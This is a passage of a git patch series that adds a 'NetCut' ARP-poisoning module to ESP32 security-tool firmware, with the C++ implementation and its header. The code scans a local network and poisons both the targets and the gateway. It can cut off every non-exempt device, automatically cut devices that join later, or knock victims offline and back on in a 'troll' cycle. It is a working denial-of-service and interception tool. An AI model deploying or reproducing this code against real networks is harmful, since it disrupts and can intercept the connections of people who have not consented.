+                s_devices[d].ip = IPAddress(ip_ret->addr);
+                exists = true;
+                break;
+            }
+        }
+        if (!exists && s_deviceCount < NETCUT_MAX_DEVICES) {
+            NetCutDevice &dev = s_devices[s_deviceCount];
+            dev.ip = IPAddress(ip_ret->addr);
+            memcpy(dev.macBytes, eth_ret->addr, 6);
+            dev.macStr = macStr;
+            dev.isCut = false;
+            dev.isTroll = false;
+            dev.isTrollOffline = false;
+            dev.lastTrollToggle = 0;
+            dev.restoreUntil = 0;
+
+            // Check VIP
+            dev.isVip = false;
+            for (auto &vm : s_vipMacs) {
+                if (vm.equalsIgnoreCase(macStr)) {
+                    dev.isVip = true;
+                    break;
+                }
+            }
+
+            // AUTO-CUT: mark for poison (actual poison happens in periodic loop)
+            if (s_cutAllActive && !dev.isVip) {
+                dev.isCut = true;
+                s_deviceCount++;
+                Serial.printf("[NetCut] AUTO-CUT new device: %s\n", macStr.c_str());
+            } else if (s_trollAllActive && !dev.isVip) {
+                // AUTO-TROLL: mark for troll (actual poison happens in periodic loop)
+                dev.isTroll = true;
+                dev.isTrollOffline = true;
+                dev.lastTrollToggle = millis();
+                s_deviceCount++;
+                Serial.printf("[NetCut] AUTO-TROLL new device: %s\n", macStr.c_str());
+            } else {
+                s_deviceCount++;
+            }
+        }
+    }
+    etharp_cleanup_netif(iface);
+}
+
+// ============================================
+// VIP PERSISTENCE (LittleFS)
+// ============================================
+void netcutLoadVipList() {
+    s_vipMacs.clear();
+    if (!LittleFS.exists(NETCUT_VIP_FILE)) return;
+
+    File f = LittleFS.open(NETCUT_VIP_FILE, "r");
+    if (!f) return;
+
+    JsonDocument doc;
+    if (deserializeJson(doc, f) == DeserializationError::Ok) {
+        JsonArray arr = doc["vip"].as<JsonArray>();
+        for (JsonVariant v : arr) { s_vipMacs.push_back(v.as<String>()); }
+    }
+    f.close();
+    Serial.printf("[NetCut] Loaded %d VIP entries\n", s_vipMacs.size());
+}
+
+void netcutSaveVipList() {
+    // Rebuild VIP list from current devices
+    s_vipMacs.clear();
+    for (int i = 0; i < s_deviceCount; i++) {
+        if (s_devices[i].isVip) s_vipMacs.push_back(s_devices[i].macStr);
+    }
+
+    JsonDocument doc;
+    JsonArray arr = doc["vip"].to<JsonArray>();
+    for (auto &m : s_vipMacs) arr.add(m);
+
+    File f = LittleFS.open(NETCUT_VIP_FILE, "w");
+    if (f) {
+        serializeJson(doc, f);
+        f.close();
+    }
+    Serial.printf("[NetCut] Saved %d VIP entries\n", s_vipMacs.size());
+}
+
+// ============================================
+// SCAN DEVICES
+// ============================================
+int netcutScanDevices() {
+    if (WiFi.status() != WL_CONNECTED) return 0;
+
+    struct netif *iface = _getStaNetif();
+    if (!iface) {
+        displayError("WiFi netif not found", true);
+        return 0;
+    }
+
+    // Get network info
+    esp_netif_t *sta = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
+    esp_netif_ip_info_t ip_info;
+    esp_netif_get_ip_info(sta, &ip_info);
+
+    s_gatewayIP.addr = ip_info.gw.addr;
+    esp_wifi_get_mac(WIFI_IF_STA, s_myMAC);
+
+    // Reset state
+    s_deviceCount = 0;
+    s_gwMacValid = false;
+    netcutLoadVipList();
+
+    // Calculate subnet range
+    uint32_t myIP_he = ntohl(ip_info.ip.addr);
+    uint32_t mask_he = ntohl(ip_info.netmask.addr);
+    uint32_t network = ntohl(ip_info.gw.addr) & mask_he;
+    uint32_t broadcast = network | ~mask_he;
+    uint32_t totalHosts = broadcast - network - 1;
+
+    drawMainBorderWithTitle("NetCut Scan");
+    padprintln("");
+    padprintln("Scanning network...");
+    padprintln("SSID: " + WiFi.SSID());
+    padprintln("GW: " + IPAddress(ip_info.gw.addr).toString());
+    padprintln("");
+
+    LOCK_TCPIP_CORE();
+    etharp_cleanup_netif(iface);
+    UNLOCK_TCPIP_CORE();
+
+    int tableReadCount = 0;
+    uint32_t hostsScanned = 0;
+    unsigned long lastUIUpdate = 0;
+
+    for (uint32_t ip_he = network + 1; ip_he < broadcast; ip_he++) {
+        if (ip_he == myIP_he) continue;
+
+        ip4_addr_t target = {htonl(ip_he)};
+        LOCK_TCPIP_CORE();
+        etharp_request(iface, &target);
+        UNLOCK_TCPIP_CORE();
+        tableReadCount++;
+        hostsScanned++;
+
+        if (tableReadCount >= ARP_TABLE_SIZE) {
+            LOCK_TCPIP_CORE();
+            _readArpTable(iface);
+            UNLOCK_TCPIP_CORE();
+            tableReadCount = 0;
+        }
+
+        vTaskDelay(pdMS_TO_TICKS(15));
+
+        if (millis() - lastUIUpdate > 400) {
+            lastUIUpdate = millis();
+            displayRedStripe(
+                String(hostsScanned) + "/" + String(totalHosts) + " | Found: " + String(s_deviceCount),
+                getComplementaryColor2(bruceConfig.priColor),
+                bruceConfig.priColor
+            );
+        }
+
+        if (check(EscPress)) break;
+    }
+
+    // Final table read
+    LOCK_TCPIP_CORE();
+    _readArpTable(iface);
+    UNLOCK_TCPIP_CORE();
+
+    // If gateway MAC not found, try BSSID fallback
+    if (!s_gwMacValid) {
+        wifi_ap_record_t ap_info;
+        if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) {
+            memcpy(s_gatewayMAC, ap_info.bssid, 6);
+            s_gwMacValid = true;
+            Serial.println("[NetCut] Gateway MAC from BSSID");
+        }
+    }
+
+    Serial.printf("[NetCut] Scan done: %d devices, GW MAC valid: %d\n", s_deviceCount, s_gwMacValid);
+    return s_deviceCount;
+}
+
+// ============================================
+// ARP POISON (Cut)
+// ============================================
+void netcutPoisonDevice(int idx, int burstCount) {
+    if (idx < 0 || idx >= s_deviceCount || !s_gwMacValid) return;
+    NetCutDevice &dev = s_devices[idx];
+    if (dev.isVip) return;
+
+    struct netif *iface = _getStaNetif();
+    if (!iface) return;
+
+    uint8_t devIP[4], gwIP[4];
+    uint32_t dip = dev.ip;
+    memcpy(devIP, &dip, 4);
+    memcpy(gwIP, &s_gatewayIP.addr, 4);
+
+    // Poison target: "Gateway IP = MY MAC"
+    _sendARP(iface, dev.macBytes, s_myMAC, gwIP, dev.macBytes, devIP, ARP_REPLY, burstCount);
+
+    // Poison gateway: "Target IP = MY MAC"
+    _sendARP(iface, s_gatewayMAC, s_myMAC, devIP, s_gatewayMAC, gwIP, ARP_REPLY, burstCount);
+}
+
+// ============================================
+// ARP RESTORE (Resume)
+// ============================================
+void netcutRestoreDevice(int idx) {
+    if (idx < 0 || idx >= s_deviceCount || !s_gwMacValid) return;
+    NetCutDevice &dev = s_devices[idx];
+
+    struct netif *iface = _getStaNetif();
+    if (!iface) return;
+
+    uint8_t devIP[4], gwIP[4];
+    uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
+    uint32_t dip = dev.ip;
+    memcpy(devIP, &dip, 4);
+    memcpy(gwIP, &s_gatewayIP.addr, 4);
+
+    for (int round = 0; round < NETCUT_RESTORE_ROUNDS; round++) {
+        // Restore target: "Gateway IP = REAL Gateway MAC"
+        _sendARP(
+            iface, dev.macBytes, s_gatewayMAC, gwIP, dev.macBytes, devIP, ARP_REPLY, NETCUT_RESTORE_BURST
+        );
+
+        // Broadcast ARP request (RFC 826: forces cache update)
+        _sendARP(iface, bcast, s_gatewayMAC, gwIP, bcast, devIP, ARP_REQUEST, NETCUT_RESTORE_BURST);
+
+        // Restore gateway: "Target IP = REAL Target MAC"
+        _sendARP(
+            iface, s_gatewayMAC, dev.macBytes, devIP, s_gatewayMAC, gwIP, ARP_REPLY, NETCUT_RESTORE_BURST
+        );
+
+        // Broadcast for gateway
+        _sendARP(iface, bcast, dev.macBytes, devIP, bcast, gwIP, ARP_REQUEST, NETCUT_RESTORE_BURST);
+
+        vTaskDelay(pdMS_TO_TICKS(5));
+    }
+}
+
+// ============================================
+// BULK OPERATIONS
+// ============================================
+void netcutCutAll() {
+    s_cutAllActive = true; // FLAG: new devices auto-join cut
+    s_trollAllActive = false;
+    for (int i = 0; i < s_deviceCount; i++) {
+        if (!s_devices[i].isVip) {
+            s_devices[i].isCut = true;
+            s_devices[i].isTroll = false;
+            netcutPoisonDevice(i, 20); // Instant poison!
+        }
+    }
+}
+
+void netcutResumeAll() {
+    s_cutAllActive = false;   // DISABLE auto-cut
+    s_trollAllActive = false; // DISABLE auto-troll
+    for (int i = 0; i < s_deviceCount; i++) {
+        s_devices[i].isCut = false;
+        s_devices[i].isTroll = false;
+        s_devices[i].isTrollOffline = false;
+        s_devices[i].restoreUntil = millis() + 5000; // 5s forced restore
+        netcutRestoreDevice(i);
+    }
+}
+
+// ============================================
+// VIP TOGGLE
+// ============================================
+void netcutToggleVip(int idx) {
+    if (idx < 0 || idx >= s_deviceCount) return;
+    NetCutDevice &dev = s_devices[idx];
+    dev.isVip = !dev.isVip;
+    if (dev.isVip && (dev.isCut || dev.isTroll)) {
+        dev.isCut = false;
+        dev.isTroll = false;
+        dev.isTrollOffline = false;
+        netcutRestoreDevice(idx);
+    }
+    netcutSaveVipList();
+}
+
+// ============================================
+// BLOCKING ACTIVE LOOP
+// Sends poison/restore packets continuously.
+// Handles troll timers. Exits on EscPress.
+// ============================================
+static void _activeLoop() {
+    if (!s_gwMacValid) {
+        displayError("Gateway MAC unknown", true);
+        return;
+    }
+
+    unsigned long lastPoison = 0;
+    unsigned long lastRedraw = 0;
+    int packetCount = 0;
+
+    // Count active targets
+    auto countActive = []() -> int {
+        int c = 0;
+        for (int i = 0; i < s_deviceCount; i++) {
+            if (s_devices[i].isCut || s_devices[i].isTroll) c++;
+        }
+        return c;
+    };
+
+    if (countActive() == 0) {
+        displayWarning("No targets marked", true);
+        return;
+    }
+
+    struct netif *iface = _getStaNetif();
+
+    // Non-blocking scanner state (same as original NetCut)
+    uint32_t myIP_he = ntohl((uint32_t)WiFi.localIP());
+    uint32_t mask_he = ntohl((uint32_t)WiFi.subnetMask());
+    uint32_t network = myIP_he & mask_he;
+    uint32_t broadcast = network | (~mask_he);
+    uint32_t scanIP = network + 1;
+    unsigned long lastScanStep = 0;
+    int scanTableCount = 0;
+
+    drawMainBorderWithTitle("NETCUT ACTIVE");
+    padprintln("");
+    padprintln("Attack running...");
+    padprintln("Targets: " + String(countActive()));
+    padprintln("");
+    padprintln("Press Esc/Back to STOP");
+
+    // Install L2 Bridge Hook
+    struct netif *hook_iface = _getStaNetif();
+    if (hook_iface && !s_hookedNetif) {
+        s_originalInput = hook_iface->input;
+        s_hookedNetif = hook_iface;
+        hook_iface->input = _netcutInputHook;
+        Serial.println("[NetCut] L2 Bridge Hook installed.");
+    }
+
+    while (!check(EscPress)) {
+        // --- NON-BLOCKING ARP SCANNER (1 IP per 50ms, like original NetCut) ---
+        if (iface && (s_cutAllActive || s_trollAllActive)) {
+            if (millis() - lastScanStep > 50) {
+                lastScanStep = millis();
+
+                if (scanIP < broadcast && scanIP != myIP_he) {
+                    ip4_addr_t target = {htonl(scanIP)};
+                    LOCK_TCPIP_CORE();
+                    etharp_request(iface, &target);
+                    UNLOCK_TCPIP_CORE();
+                    scanTableCount++;
+                }
+
+                // Read ARP table periodically (auto-cut/troll happens inside _readArpTable)
+                if (scanTableCount >= ARP_TABLE_SIZE) {
+                    LOCK_TCPIP_CORE();
+                    _readArpTable(iface);
+                    UNLOCK_TCPIP_CORE();
+                    scanTableCount = 0;
+                }
+
+                scanIP++;
+                if (scanIP >= broadcast) {
+                    // Wrap around: restart scan cycle
+                    scanIP = network + 1;
+                    LOCK_TCPIP_CORE();
+                    _readArpTable(iface);
+                    etharp_cleanup_netif(iface);
+                    UNLOCK_TCPIP_CORE();
+                }
+            }
+        }
+
+        // --- Troll timer logic (individual per device, same as original NetCut) ---
+        for (int i = 0; i < s_deviceCount; i++) {
+            if (!s_devices[i].isTroll || s_devices[i].isVip) continue;
+
+            unsigned long interval = s_devices[i].isTrollOffline ? s_trollOfflineMs : s_trollOnlineMs;
+
+            if (millis() - s_devices[i].lastTrollToggle > interval) {
+                // TOGGLE PHASE
+                s_devices[i].isTrollOffline = !s_devices[i].isTrollOffline;
+                s_devices[i].lastTrollToggle = millis();
+
+                if (s_devices[i].isTrollOffline) {
+                    // Phase: OFFLINE → instant poison burst (20x)
+                    netcutPoisonDevice(i, 20);
+                    Serial.printf("[Troll] %s -> OFFLINE (poison)\n", s_devices[i].ip.toString().c_str());
+                } else {
+                    // Phase: ONLINE → instant restore + 5s forced restore window
+                    s_devices[i].restoreUntil = millis() + 5000;
+                    netcutRestoreDevice(i);
+                    Serial.printf("[Troll] %s -> ONLINE (restore)\n", s_devices[i].ip.toString().c_str());
+                }
+            }
+        }
+
+        // --- Periodic re-poison for CUT devices + TROLL(offline phase) ---
+        if (millis() - lastPoison > NETCUT_ARP_INTERVAL_MS) {
+            lastPoison = millis();
+            for (int i = 0; i < s_deviceCount; i++) {
+                if (s_devices[i].isVip) continue;
+
+                bool shouldPoison =
+                    s_devices[i].isCut || (s_devices[i].isTroll && s_devices[i].isTrollOffline);
+                bool shouldRestore = (s_devices[i].isTroll && !s_devices[i].isTrollOffline) ||
+                                     (millis() < s_devices[i].restoreUntil);
+
+                if (shouldPoison) {
+                    netcutPoisonDevice(i, 1);
+                    packetCount++;
+                } else if (shouldRestore) {
+                    netcutRestoreDevice(i);
+                    packetCount++;
+                }
+            }
+        }
+
+        // --- Update display every 500ms ---
+        if (millis() - lastRedraw > 500) {
+            lastRedraw = millis();
+
+            int cutN = 0, trollN = 0, trollOff = 0, trollOn = 0;
+            for (int i = 0; i < s_deviceCount; i++) {
+                if (s_devices[i].isCut) cutN++;
+                if (s_devices[i].isTroll) {
+                    trollN++;
+                    if (s_devices[i].isTrollOffline) trollOff++;
+                    else trollOn++;
+                }
+            }
+
+            tft.fillRect(0, tftHeight - 62, tftWidth, 62, bruceConfig.bgColor);
+            tft.setTextSize(FP);
+
+            // Troll timing info
+            if (trollN > 0) {
+                tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+                tft.drawString(
+                    "Troll: " + String(s_trollOfflineMs / 1000) + "s OFF / " +
+                        String(s_trollOnlineMs / 1000) + "s ON",
+                    10,
+                    tftHeight - 60,
+                    1
+                );
+            }
+
+            tft.setTextColor(TFT_RED, bruceConfig.bgColor);
+            tft.drawString("CUT:" + String(cutN) + " Dev:" + String(s_deviceCount), 10, tftHeight - 48, 1);
+            tft.setTextColor(TFT_MAGENTA, bruceConfig.bgColor);
+            tft.drawString(
+                "TRL:" + String(trollOff) + "off/" + String(trollOn) + "on", 10, tftHeight - 36, 1
+            );
+
+            // Draw SNIPER count
+            for (int i = 0; i < s_deviceCount; i++)
+            tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
+            tft.drawString(
+                "Pkts:" + String(packetCount), 10, tftHeight - 24, 1
+            );
+
+            tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+            tft.drawString("Esc=Stop", 10, tftHeight - 12, 1);
+        }
+
+        vTaskDelay(pdMS_TO_TICKS(10));
+    }
+
+    // Uninstall L2 Bridge Hook
+    if (s_hookedNetif && s_originalInput) {
+        s_hookedNetif->input = s_originalInput;
+        s_hookedNetif = nullptr;
+        s_originalInput = nullptr;
+        Serial.println("[NetCut] L2 Bridge Hook uninstalled.");
+    }
+
+    // Cleanup: aggressive restore ALL on exit
+    s_cutAllActive = false;
+    s_trollAllActive = false;
+    int restoreCount = 0;
+    for (int i = 0; i < s_deviceCount; i++) {
+        if (s_devices[i].isCut || s_devices[i].isTroll) { restoreCount++; }
+    }
+
+    if (restoreCount > 0) {
+        drawMainBorderWithTitle("RESTORING...");
+        padprintln("");
+        padprintln("Resuming " + String(restoreCount) + " devices...");
+        padprintln("Please wait 5s...");
+
+        unsigned long restoreEnd = millis() + 5000;
+        while (millis() < restoreEnd) {
+            for (int i = 0; i < s_deviceCount; i++) {
+                if (s_devices[i].isCut || s_devices[i].isTroll) {
+                    netcutRestoreDevice(i);
+                }
+            }
+            vTaskDelay(pdMS_TO_TICKS(200));
+        }
+
+        // Clear all flags after restore
+        for (int i = 0; i < s_deviceCount; i++) {
+            s_devices[i].isCut = false;
+            s_devices[i].isTroll = false;
+            s_devices[i].isTrollOffline = false;
+            s_devices[i].restoreUntil = 0;
+        }
+    }
+
+    displaySuccess("Stopped. All " + String(restoreCount) + " devices restored.", true);
+}
+
+// ============================================
+// TROLL MODE WRAPPERS
+// ============================================
+void netcutTrollDevice(int idx) {
+    if (idx < 0 || idx >= s_deviceCount) return;
+    if (s_devices[idx].isVip) {
+        displayWarning("VIP protected", true);
+        return;
+    }
+
+    // Show timing config first
+    netcutTrollTimingMenu();
+
+    // After timing menu, set device flags and start
+    s_devices[idx].isCut = false;
+    s_devices[idx].isTroll = true;
+    s_devices[idx].isTrollOffline = true;
+    s_devices[idx].lastTrollToggle = millis();
+
+    _activeLoop();
+}
+
+void netcutTrollAll() {
+    // Show timing config first
+    netcutTrollTimingMenu();
+
+    s_trollAllActive = true; // FLAG: new devices auto-join troll
+    s_cutAllActive = false;
+    for (int i = 0; i < s_deviceCount; i++) {
+        if (!s_devices[i].isVip) {
+            s_devices[i].isCut = false;
+            s_devices[i].isTroll = true;
+            s_devices[i].isTrollOffline = true;
+            s_devices[i].lastTrollToggle = millis();
+            netcutPoisonDevice(i, 20); // Instant poison first phase!
+        }
+    }
+    _activeLoop();
+}
+
+
+// ============================================
+// TROLL TIMING MENU
+// ============================================
+void netcutTrollTimingMenu() {
+    unsigned long offSec = s_trollOfflineMs / 1000;
+    unsigned long onSec = s_trollOnlineMs / 1000;
+    bool done = false;
+
+    while (!done) {
+        options.clear();
+
+        options.push_back({"Offline: " + String(offSec) + "s  [SET]", [&offSec]() {
+                               String val = num_keyboard(String(offSec), 3, "Offline (sec):");
+                               if (val.length() > 0) {
+                                   unsigned long v = val.toInt();
+                                   if (v >= 1 && v <= 300) offSec = v;
+                               }
+                               vTaskDelay(pdMS_TO_TICKS(500));
+                               while (check(AnyKeyPress))
+                                   vTaskDelay(pdMS_TO_TICKS(50)); // drain residual press
+                           }});
+        options.push_back({"Online: " + String(onSec) + "s  [SET]", [&onSec]() {
+                               String val = num_keyboard(String(onSec), 3, "Online (sec):");
+                               if (val.length() > 0) {
+                                   unsigned long v = val.toInt();
+                                   if (v >= 1 && v <= 300) onSec = v;
+                               }
+                               vTaskDelay(pdMS_TO_TICKS(500));
+                               while (check(AnyKeyPress))
+                                   vTaskDelay(pdMS_TO_TICKS(50)); // drain residual press
+                           }});
+        options.push_back({">> Save & Start <<", [&offSec, &onSec, &done]() {
+                               s_trollOfflineMs = offSec * 1000;
+                               s_trollOnlineMs = onSec * 1000;
+                               done = true;
+                           }});
+        options.push_back({"Cancel", [&done]() { done = true; }});
+
+        String title = "Troll: OFF=" + String(offSec) + "s ON=" + String(onSec) + "s";
+        loopOptions(options, MENU_TYPE_SUBMENU, title.c_str());
+        options.clear();
+
+        if (check(EscPress)) done = true;
+    }
+}
+
+// ============================================
+// PER-DEVICE ACTION SUBMENU
+// ============================================
+static void _deviceActionMenu(int idx) {
+    bool stayInMenu = true;
+
+    while (stayInMenu) {
+        NetCutDevice &dev = s_devices[idx];
+        options.clear();
+
+        String title = dev.ip.toString();
+        if (dev.isVip) title += " [VIP]";
+        if (dev.isCut) title += " [CUT]";
+        if (dev.isTroll) title += " [TRL]";
+
+        if (!dev.isVip) {
+            // TOGGLE CUT: single button to Cut or Resume
+            String cutLabel = dev.isCut ? ">> Resume <<" : ">> Cut Device <<";
+            options.push_back({cutLabel, [idx]() {
+                                   NetCutDevice &d = s_devices[idx];
+                                   if (d.isCut) {
+                                       d.isCut = false;
+                                       d.isTroll = false;
+                                       d.isTrollOffline = false;
+                                       d.restoreUntil = millis() + 5000;
+                                       netcutRestoreDevice(idx);
+                                       displaySuccess("Restored: " + d.ip.toString(), true);
+                                   } else {
+                                       d.isCut = true;
+                                       d.isTroll = false;
+                                       netcutPoisonDevice(idx, 20);
+                                       displayWarning("Cut: " + d.ip.toString(), true);
+                                       _activeLoop();
+                                   }
+                               }});
+
+            options.push_back({"Troll Mode", [idx, &stayInMenu]() {
+                                   netcutTrollDevice(idx);
+                                   // After troll active loop exits, stay in menu
+                               }});
+        } else {
+            if (dev.isCut) {
+                options.push_back({">> Resume <<", [idx]() {
+                                       s_devices[idx].isCut = false;
+                                       s_devices[idx].isTroll = false;
+                                       s_devices[idx].restoreUntil = millis() + 5000;
+                                       netcutRestoreDevice(idx);
+                                       displaySuccess("Restored: " + s_devices[idx].ip.toString(), true);
+                                   }});
+            }
+        }
+
+        options.push_back({"Toggle VIP", [idx]() {
+                               netcutToggleVip(idx);
+                               displayInfo(s_devices[idx].isVip ? "VIP: ON" : "VIP: OFF", true);
+                           }});
+
+        options.push_back({"Info", [idx]() {
+                               NetCutDevice &d = s_devices[idx];
+                               drawMainBorderWithTitle("Device Info");
+                               padprintln("");
+                               padprintln("IP:  " + d.ip.toString());
+                               padprintln("MAC: " + d.macStr);
+                               padprintln("VIP: " + String(d.isVip ? "Yes" : "No"));
+                               padprintln("Cut: " + String(d.isCut ? "Yes" : "No"));
+                               padprintln("Troll: " + String(d.isTroll ? "Yes" : "No"));
+                               padprintln("");
+                               padprintln("Press any key...");
+                               while (!check(AnyKeyPress)) vTaskDelay(pdMS_TO_TICKS(100));
+                           }});
+
+        options.push_back({"<< Back", [&stayInMenu]() { stayInMenu = false; }});
+
+        loopOptions(options, MENU_TYPE_SUBMENU, title.c_str());
+        options.clear();
+
+        // If user pressed Esc/Back (not selecting an option), exit
+        if (check(EscPress)) { stayInMenu = false; }
+    }
+}
+
+// ============================================
+// MAIN MENU ENTRY POINT
+// ============================================
+void netcutMenu() {
+    // Require WiFi STA connection
+    if (WiFi.status() != WL_CONNECTED) {
+        if (!wifiConnectMenu(WIFI_STA)) return;
+    }
+
+    // Scan
+    drawMainBorderWithTitle("NetCut ARP");
+    padprintln("");
+    padprintln("Starting ARP scan...");
+
+    int found = netcutScanDevices();
+
+    if (found == 0) {
+        displayWarning("No devices found", true);
+        return;
+    }
+
+    if (!s_gwMacValid) { displayWarning("Gateway MAC not found!\nAttack may fail.", true); }
+
+DeviceListMenu:
+    options.clear();
+
+    // Device entries
+    for (int i = 0; i < s_deviceCount; i++) {
+        String label = s_devices[i].ip.toString();
+        if (s_devices[i].isVip) label += " *VIP";
+        else if (s_devices[i].isCut) label += " [CUT]";
+        else if (s_devices[i].isTroll) label += " [TRL]";
+
+        options.push_back({label.c_str(), [i]() { _deviceActionMenu(i); }});
+    }
+
+    // Separator + global actions
+    options.push_back({"--- Actions ---", []() {}});
+
+    options.push_back({"Cut All", []() {
+                           netcutCutAll();
+                           _activeLoop();
+                       }});
+
+    options.push_back({"Troll All", []() { netcutTrollAll(); }});
+
+    options.push_back({"Resume All", []() {
+                           netcutResumeAll();
+                           displaySuccess("All devices restored", true);
+                       }});
+
+    options.push_back({"Troll Timing", []() { netcutTrollTimingMenu(); }});
+
+    options.push_back({"Re-Scan", []() { netcutScanDevices(); }});
+
+    addOptionToMainMenu();
+    loopOptions(options, MENU_TYPE_SUBMENU, "NetCut ARP");
+    options.clear();
+
+    if (!returnToMenu) goto DeviceListMenu;
+}

From 533579dc08ea2e860a89a49fdfa403c4f8c8c8e7 Mon Sep 17 00:00:00 2001
From: RyoCuyy <85080933+ryocuy@users.noreply.github.com>
Date: Sun, 3 May 2026 22:45:21 +0700
Subject: [PATCH 39/73] Create netcut.h for ARP poisoning and management

Added NetCut ARP Module header file for device management and ARP operations.
---
 src/modules/wifi/netcut.h | 200 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 200 insertions(+)
 create mode 100644 src/modules/wifi/netcut.h

diff --git a/src/modules/wifi/netcut.h b/src/modules/wifi/netcut.h
new file mode 100644
index 000000000..052f2627a
--- /dev/null
+++ b/src/modules/wifi/netcut.h
@@ -0,0 +1,200 @@
+#ifndef __NETCUT_H__
+#define __NETCUT_H__
+
+/**
+ * @file netcut.h
+ * @brief NetCut ARP Module for Bruce Firmware
+ * @description ARP Poisoning / Restore / Troll module integrated into Bruce WiFi menu.
+ *              Ported from standalone NetCut ESP32 firmware.
+ *
+ * Key design decisions:
+ *   - Uses LwIP netif->linkoutput() for ARP packet injection (NOT esp_wifi_internal_tx)
+ *   - Reuses Bruce's ARPScanner infrastructure for device discovery
+ *   - All UI via Bruce's loopOptions() — no custom display drawing
+ *   - Troll Mode is BLOCKING — stops when user presses EscPress/Back
+ *   - No WebUI — control exclusively via T-Embed screen + encoder
+ *   - VIP persistence via LittleFS (Bruce's standard config system)
+ *
+ * @note Requires active WiFi STA connection before use.
+ */
+
+#include <Arduino.h>
+#include <IPAddress.h>
+#include <WiFi.h>
+
+// LwIP headers for ARP packet construction
+#include "lwip/etharp.h"
+#include "lwip/netif.h"
+#include "lwip/pbuf.h"
+
+// Bruce core headers
+#include "core/display.h"
+#include "core/mykeyboard.h"
+#include "core/net_utils.h"
+#include "core/utils.h"
+#include "core/wifi/wifi_common.h"
+#include <globals.h>
+
+// ============================================
+// Configuration Constants
+// ============================================
+#define NETCUT_MAX_DEVICES 64      // Max devices in scan list
+#define NETCUT_ARP_INTERVAL_MS 150 // ARP poison packet repeat interval (ms)
+#define NETCUT_POISON_BURST 5      // Packets per poison burst
+#define NETCUT_RESTORE_BURST 5     // Packets per restore burst
+#define NETCUT_RESTORE_ROUNDS 3    // Restore repetition rounds
+
+#define NETCUT_TROLL_DEFAULT_OFFLINE_MS 10000 // Default troll offline duration
+#define NETCUT_TROLL_DEFAULT_ONLINE_MS 5000   // Default troll online duration
+#define NETCUT_TROLL_MIN_MS 1000              // Minimum troll interval
+#define NETCUT_TROLL_MAX_MS 60000             // Maximum troll interval
+
+#define NETCUT_VIP_FILE "/netcut_vip.json" // LittleFS VIP persistence file
+
+// ============================================
+// Data Structures
+// ============================================
+
+/**
+ * @brief Represents a network device discovered by ARP scan.
+ *
+ * Adapted from standalone NetCut's NetworkDevice struct.
+ * Stores MAC as raw bytes (uint8_t[6]) for direct use in ARP packets,
+ * avoiding repeated string-to-bytes conversion in hot path.
+ */
+struct NetCutDevice {
+    IPAddress ip;        // Device IP address
+    uint8_t macBytes[6]; // MAC address as raw bytes (for ARP packets)
+    String macStr;       // MAC address as string (for display/VIP lookup)
+
+    bool isCut;    // Currently being ARP poisoned
+    bool isTroll;  // Currently in troll mode
+    bool isVip;    // VIP-protected
+
+    // Troll mode individual timers
+    unsigned long lastTrollToggle; // Last time troll state toggled (millis)
+    bool isTrollOffline;           // Current troll phase: true=poisoning, false=restoring
+
+    // Restore continuation timer
+    unsigned long restoreUntil; // Keep sending restore packets until this time (millis)
+
+    NetCutDevice()
+        : isCut(false), isTroll(false), isVip(false), lastTrollToggle(0),
+          isTrollOffline(false), restoreUntil(0) {
+        memset(macBytes, 0, 6);
+    }
+};
+
+// ============================================
+// Module State (internal, managed by netcut.cpp)
+// ============================================
+// All state is file-scoped in netcut.cpp to prevent global collision.
+// Only function declarations are exposed here.
+
+// ============================================
+// Public API — Menu Entry Point
+// ============================================
+
+/**
+ * @brief Main entry point for NetCut module.
+ *        Called from WifiMenu as a menu option.
+ *        Requires active WiFi STA connection.
+ *
+ * Flow: Check WiFi → Scan Devices → Show Device List → Per-device/Global actions
+ */
+void netcutMenu();
+
+// ============================================
+// Public API — Core ARP Operations
+// ============================================
+
+/**
+ * @brief Scan the local network for devices via ARP requests.
+ *        Uses LwIP etharp_request() + etharp_get_entry() — same method as Bruce's ARPScanner.
+ *        Results are stored in internal device list.
+ * @return Number of devices found.
+ */
+int netcutScanDevices();
+
+/**
+ * @brief Send ARP poison packets to a single device.
+ *        Poisons both the target AND the gateway (bidirectional).
+ *        Uses netif->linkoutput() via LwIP pbuf — NOT esp_wifi_internal_tx().
+ * @param deviceIndex  Index in internal device list
+ * @param burstCount   Number of packets to send (default 1 for periodic, 20 for instant)
+ */
+void netcutPoisonDevice(int deviceIndex, int burstCount = 1);
+
+/**
+ * @brief Send ARP restore packets to a single device.
+ *        Sends correct gateway MAC to target, and correct target MAC to gateway.
+ *        Uses broadcast + unicast ARP reply/request combo for reliability (RFC 826).
+ * @param deviceIndex  Index in internal device list
+ */
+void netcutRestoreDevice(int deviceIndex);
+
+/**
+ * @brief Cut all non-VIP devices (bulk ARP poison).
+ */
+void netcutCutAll();
+
+/**
+ * @brief Resume all devices (bulk ARP restore).
+ *        Also clears isCut and isTroll flags.
+ */
+void netcutResumeAll();
+
+// ============================================
+// Public API — Troll Mode
+// ============================================
+
+/**
+ * @brief Start Troll Mode for a single device.
+ *        BLOCKING — loops until user presses EscPress.
+ *        Alternates between poison (offline) and restore (online) phases
+ *        using individual per-device timers.
+ * @param deviceIndex  Index in internal device list
+ */
+void netcutTrollDevice(int deviceIndex);
+
+/**
+ * @brief Start Troll Mode for ALL non-VIP devices.
+ *        BLOCKING — loops until user presses EscPress.
+ */
+void netcutTrollAll();
+
+// ============================================
+// Public API — VIP Management
+// ============================================
+
+/**
+ * @brief Toggle VIP status for a device.
+ *        VIP devices are immune to Cut/Troll operations.
+ *        If device is currently Cut/Trolled, it will be restored immediately.
+ * @param deviceIndex  Index in internal device list
+ */
+void netcutToggleVip(int deviceIndex);
+
+/**
+ * @brief Save VIP list to LittleFS.
+ *        Persists MAC addresses of all VIP-flagged devices.
+ */
+void netcutSaveVipList();
+
+/**
+ * @brief Load VIP list from LittleFS.
+ *        Called during scan to auto-flag previously-saved VIP devices.
+ */
+void netcutLoadVipList();
+
+// ============================================
+// Public API — Troll Timing Configuration
+// ============================================
+
+/**
+ * @brief Interactive menu to adjust troll offline/online durations.
+ *        Uses Bruce's loopOptions() for value input.
+ */
+void netcutTrollTimingMenu();
+
+#endif // __NETCUT_H__

From 71870beafeaec55c3b1144f4540130f661afa6e2 Mon Sep 17 00:00:00 2001
